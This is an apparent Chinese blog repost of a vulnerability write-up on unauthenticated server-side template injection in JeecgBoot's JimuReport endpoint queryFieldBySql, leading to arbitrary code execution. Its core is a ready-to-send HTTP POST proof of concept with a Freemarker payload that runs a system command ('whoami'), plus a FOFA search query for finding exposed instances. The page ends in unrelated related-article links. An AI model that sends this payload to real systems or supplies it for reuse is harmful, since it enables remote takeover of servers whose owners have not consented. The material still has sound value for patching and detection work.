首页 > 其他分享 >jeecg-boot/积木报表基于SSTI的任意代码执行漏洞

jeecg-boot/积木报表基于SSTI的任意代码执行漏洞

时间:2023-08-29 17:35:45浏览次数:44  
标签:积木 boot 漏洞 SSTI 代码执行 sql jeecg

漏洞简介

JeecgBoot 受影响版本中由于积木报表 /jeecg-boot/jmreport/queryFieldBySql Api接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,通过 SSTI 在应用端执行任意代码。

漏洞复现

fofa语法:body="jeecg-boot"
登录页面如下:

POC:

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 105

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami \") }'" }


标签:积木,boot,漏洞,SSTI,代码执行,sql,jeecg
From: https://www.cnblogs.com/pursue-security/p/17665454.html

相关文章

  • uboot 启动
    网络启动(用于调试)#设置网络环境变量setenvipaddr192.168.10.50setenvethaddrb8:ae:1d:01:00:00setenvgatewayip192.168.10.1setenvnetmask255.255.255.0setenvserverip192.168.10.100#通过NFS挂载根文件系统,前提要将根文件系统放到Ubuntu下的nfs目录中......
  • 通过AOP拦截Spring Boot日志并将其存入数据库
    本文分享自华为云社区《SpringBoot入门(23):【实战】通过AOP拦截SpringBoot日志并将其存入数据库》,作者:bug菌。前言在软件开发中,常常需要记录系统运行时的日志。日志记录有助于排查系统问题、优化系统性能、监控操作行为等。本文将介绍如何使用SpringBoot和AOP技术实现拦截系......
  • Spring Boot - 引入 validation 对参数或实体类进行校验不管用
    版本说明我的父工程版本号是3.1.0。file:[pom.xml]<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.1.0</version><relativePath/><!--......
  • spring boot WebSocket @ServerEndpoint注解标识的class无法获取spring容器中的bean
    在@ServerEndpoint类中直接使用@Autowired注解注入Spring管理的bean可能不会成功,因为@ServerEndpoint并不受Spring容器的管理。通过创建一个静态的成员遍历属性和一个带有@Autowired注解的setter方法,你可以在类加载时将bean注入到静态属性中。但是,请注意这样做......
  • 基于SpringBoot的装饰工程管理系统
    如今社会上各行各业,都喜欢用自己行业的专属软件工作,互联网发展到这个时候,人们已经发现离不开了互联网。新技术的产生,往往能解决一些老技术的弊端问题。因为传统装饰工程项目信息管理难度大,容错率低,管理人员处理数据费工费时,所以专门为解决这个难题开发了一个装饰工程管理系统项目立......
  • Spring Boot 别再用 Date 作为入参了,LocalDateTime、LocalDate 真香!
    作者:TinyThing链接:https://www.jianshu.com/p/b52db905f0200x0背景项目中使用LocalDateTime系列作为dto中时间的类型,但是spring收到参数后总报错,为了全局配置时间类型转换,尝试了如下3中方法。注:本文基于Springboot2.0测试,如果无法生效可能是spring版本较低导致的。PS:如果你......
  • SpringBoot内置Tomcat的参数值
    SpringBoot内置Tomcat,在默认设置中,Tomcat的最大线程数是200,最大连接数是10000。默认情况下,支持最大并发量为一万,也就是指支持的连接数。Tomcat有两种处理连接的模式是BIO,一个线程只处理一个Socket连接是NIO,一个线程处理多个Socket连接处理多个连接的单个线程通常不会引起太......
  • 5.1.29 远程代码执行漏洞
    ThinkPHP55.0.22/5.1.29远程代码执行漏洞漏洞描述Thinkphp是一个国内轻量级的开发框架。由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。验证方式直接访问http://your-ip:8080/index.php?s=/Index/\thi......
  • Springboot——后端的一些配置(大部分都用得到)
    <repositories><repository><id>nexus-aliyun</id><name>nexus-aliyun</name><url>http://maven.aliyun.com/nexus/content/groups/public/</url><rele......
  • SpringBoot - 原理
    目录配置文件优先级配置文件优先级虽然springboot支持多种格式配置文件,但是在项目开发时,推荐统一使用一种格式的配置(yml是主流)IDEA配置系统属性和命令行参数:命令行参数>系统属性总体优先级:命令行参数优先级>系统属性>application.properties>application.y......